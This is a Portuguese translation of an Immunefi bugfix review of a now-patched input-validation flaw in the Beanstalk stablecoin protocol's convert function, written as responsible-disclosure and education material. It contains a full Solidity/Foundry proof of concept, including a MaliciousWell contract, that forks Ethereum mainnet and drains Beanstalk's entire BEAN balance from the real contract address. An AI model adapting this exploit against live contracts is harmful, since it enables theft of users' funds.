WEB3DEV

Cover image for Correção de Bug na Validação Insuficiente de Entrada do Beanstalk
Adriano P. Araujo
Adriano P. Araujo

Posted on

Correção de Bug na Validação Insuficiente de Entrada do Beanstalk

Introdução ao Beanstalk

O Beanstalk é um protocolo de stablecoin baseado em crédito na Ethereum que visa reinventar o mercado de stablecoins garantidas existente. Ao contrário dos modelos tradicionais que dependem de garantias, o Beanstalk utiliza um sistema de crédito para criar um ativo descentralizado e líquido.

O protocolo introduz o BEAN, sua stablecoin, como o núcleo de uma economia nativa da Ethereum, sem aluguel. O Beanstalk foca principalmente em incentivar os participantes a equilibrar o preço do BEAN em torno de $1, ajustando o fornecimento com base em sua solvência.

Quando os preços do BEAN estão abaixo de $1, o protocolo atrai credores para estabilizar o valor, e quando os preços ficam muito altos, novos BEANs são cunhados e distribuídos. Esse mecanismo inflacionário forma a base da economia do Beanstalk. Você pode ler mais sobre o Beanstalk e sua arquitetura aqui.

Análise de Vulnerabilidade

Entre os cinco principais componentes do Beanstalk, o Silo funciona como a DAO do Beanstalk. Ele permite que depositantes depositem seus BEANs e outros tokens LP autorizados em troca de oportunidades de rendimento passivo.

A conversão entre Bean e Depósitos LP dentro do Silo é vital para manter a paridade e é realizada através do convertFacet. Esse recurso de conversão é como uma ferramenta que permite aos usuários trocar seus BEANs por tokens LP quando os preços estão altos e tokens LP por BEANs quando os preços estão baixos, desde que o tipo de conversão seja autorizado. Isso ajuda a equilibrar as coisas e manter um preço estável.

Vamos examinar essa função de conversão e sua lógica e entender a origem da vulnerabilidade.

Esta função invoca duas funções internas. Vamos examinar cada uma separadamente.

1. Considere convertData.convertWithAddress()

convertData.convertWithAddress()

Aqui, os dados de entrada fornecidos pelo usuário (convertData) são decodificados para obter quantidades de tokens e um endereço, que é essencialmente o endereço WellLp.

O problema é que não há validação neste endereço Well, permitindo que qualquer pessoa forneça um contrato malicioso como um endereço Well.

2. _wellRemoveLiquidityTowardsPeg

_wellRemoveLiquidityTowardsPeg

Na função _wellRemoveLiquidityTowardsPeg(), o endereço Well decodificado é usado para obter a quantidade de BEANs (amountOut).

Um endereço Well (contrato malicioso) pode devolver o saldo inteiro de BEANs do contrato Beanstalk como amountOut.

Além disso, a função lpToPeg() também faz chamadas para o mesmo endereço Well e, com base nesses dados retornados, a quantidade (amount) lpConverted é determinada. Isso coloca a quantidade lpConverted essencialmente sob o controle do atacante, permitindo que eles a definam como zero. Consequentemente, amountIn torna-se zero.

Agora, quando o processo retorna para o [_withdrawTokens](https://github.com/BeanstalkFarms/Beanstalk/blob/1f7734992878a4e3f8936e55a7150085d804d6c4/protocol/contracts/beanstalk/silo/ConvertFacet.sol#L85) dentro da função convertFacet.convert, ele pode ser totalmente contornado enviando arrays stems e amounts vazios.

Então, essencialmente:

  • toToken = BEAN
  • fromToken = Well Malicioso
  • toAmount = Pode ser qualquer coisa, pois é retornado por um Well malicioso (por exemplo, bean.balanceOf(beanstalk))
  • fromAmount = 0

Em última análise, devido à validação insuficiente de entrada mencionada anteriormente, esta função permitia o depósito de BEANs sem retirar quaisquer tokens do Silo, que podem ser facilmente retirados posteriormente.

Prova de Conceito (PoC)

A equipe da Immunefi preparou o seguinte PoC para demonstrar a vulnerabilidade explicada.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^ 0.8 .13;
import "@immunefi/PoC.sol";
import {
    MaliciousWell
} from "../../src/Beanstalk/BeanstalkBugfixReview.sol";
import "forge-std/interfaces/IERC20.sol";
contract BeanStalkBugfixReviewTest is PoC {
    IBeanStalk beanStalk = IBeanStalk(0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5);
    IERC20 Bean = IERC20(0xBEA0000029AD1c77D3d5D23Ba2D8893dB9d1Efab);
    IERC20[] token;
    address attacker;
    MaliciousWell mockWell;

    function setUp() public {
        token.push(Bean);
        //  Criando um fork na mainnet logo antes da correção
        vm.createSelectFork("https://rpc.ankr.com/eth", 18517994);
        attacker = makeAddr("attacker");
        mockWell = new MaliciousWell();
        setAlias(address(beanStalk), "beanStalk");
        setAlias(address(attacker), "Attacker");
        console.log("\n>>> Initial conditions");
    }

    function testAttack() public snapshot(attacker, token) snapshot(address(beanStalk), token) {
        uint256 balance = Bean.balanceOf(address(beanStalk));
        // Construindo os convertData
        IBeanStalk.ConvertKind kind = IBeanStalk.ConvertKind(6);
        uint256 amountIn = 0;
        uint256 minBeans = 0;
        bytes memory convertData = abi.encode(kind, 0, 0, address(mockWell));
        // Passando stems e amounts vazios
        int96[] memory stems = new int96[](0);
        uint256[] memory amounts = new uint256[](0);
        console.log("\n>>> Execute attack");
        vm.startPrank(attacker);
        // Chamando o convert
        beanStalk.convert(convertData, stems, amounts);
        //Retirando o saldo completo de BEAN do beanStalk
        int96[] memory stem = new int96[](1);
        stem[0] = beanStalk.stemTipForToken(address(Bean));
        uint256[] memory balanceToWithdraw = new uint256[](1);
        balanceToWithdraw[0] = balance;
        beanStalk.withdrawDeposits(address(Bean), stem, balanceToWithdraw, IBeanStalk.To(0));
    }
}
interface IBeanStalk {
    enum To {
        EXTERNAL,
        INTERNAL
    }

    function convert(bytes calldata convertData, int96[] memory stems, uint256[] memory amounts)
    external
    returns(int96 toStem, uint256 fromAmount, uint256 toAmount, uint256 fromBdv, uint256 toBdv);

    function stemTipForToken(address token) external view returns(int96 _stemTip);

    function withdrawDeposits(address token, int96[] calldata stems, uint256[] calldata amounts, To to) external;
    enum ConvertKind {
        BEANS_TO_CURVE_LP,
        CURVE_LP_TO_BEANS,
        UNRIPE_BEANS_TO_UNRIPE_LP,
        UNRIPE_LP_TO_UNRIPE_BEANS,
        LAMBDA_LAMBDA,
        BEANS_TO_WELL_LP,
        WELL_LP_TO_BEANS
    }
}
Enter fullscreen mode Exit fullscreen mode
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^ 0.8 .13;
import "forge-std/interfaces/IERC20.sol";
/**

* @title MaliciousWell

*/
contract MaliciousWell {
    struct Call {
        address target; // O endereço em que a chamada é executada.
        bytes data; // Calldata adicional a ser passado durante a chamada
    }
    MockTarget mockTarget;
    Call internal _wellFunction;
    IERC20[] internal _tokens = [IERC20(0xBEA0000029AD1c77D3d5D23Ba2D8893dB9d1Efab)];
    uint256[] internal _reserves = [1000000];
    constructor() {
        mockTarget = new MockTarget();
        _wellFunction = Call(address(mockTarget), "0x");
    }

    function wellFunction() external view returns(Call memory) {
        return _wellFunction;
    }

    function tokens() external view returns(IERC20[] memory) {
        return _tokens;
    }

    function getReserves() external view returns(uint256[] memory reserves) {
        reserves = _reserves;
    }

    function removeLiquidityOneToken(uint256 lpAmountIn, IERC20 tokenOut, uint256 minTokenAmountOut, address recipient, uint256 deadline) external returns(uint256 tokenAmountOut) {
        tokenAmountOut = tokenOut.balanceOf(msg.sender);
    }
}
contract MockTarget {
    function calcReserveAtRatioLiquidity(uint256[] calldata reserves, uint256 j, uint256[] calldata ratios, bytes calldata) external pure returns(uint256 reserve) {
        return 10;
    }

    function calcLpTokenSupply(uint256[] calldata reserves, bytes calldata) external pure returns(uint256 lpTokenSupply) {
        lpTokenSupply = reserves[0];
    }
}

Enter fullscreen mode Exit fullscreen mode

Saída

Correção da Vulnerabilidade

Para mitigar a vulnerabilidade, o Beanstalk implementou as seguintes verificações para garantir que o endereço fornecido seja realmente um endereço Well válido.

Eles também adicionaram uma verificação para o fromAmount, garantindo que seja sempre maior que zero neste commit.

Agradecimentos

Gostaríamos de agradecer à whitehat nicole por fazer um trabalho incrível e fazer uma divulgação responsável ao Beanstalk. Parabéns também ao Comitê Immunefi do Beanstalk, que fez um trabalho incrível respondendo rapidamente ao relatório e resolvendo-o.

Se você é um desenvolvedor Web2 ou Web3 que está pensando em uma carreira de caça a bugs em Web3, estamos aqui por você. Confira a Web3 Security Library e comece a ganhar recompensas na Immunefi - a principal plataforma de recompensas por bugs em Web3 com os maiores pagamentos do mundo.

E se você se sente confiante em suas habilidades e quer ver se encontrará bugs no código, confira o programa de recompensas por bugs do Beanstalk.


Este artigo foi escrito por Immunefi Editor e traduzido por  Adriano P. de Araujo. O original em inglês pode ser encontrado aqui.

Latest comments (0)